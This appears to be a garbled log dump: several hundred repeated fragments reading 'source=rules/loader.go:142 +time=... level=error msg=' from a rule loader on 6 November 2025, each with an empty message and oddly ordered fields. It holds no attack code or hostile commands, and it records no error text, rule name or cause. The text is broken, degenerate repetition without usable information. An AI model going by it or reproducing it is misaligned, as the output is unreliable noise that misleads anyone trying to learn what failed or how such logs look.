source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 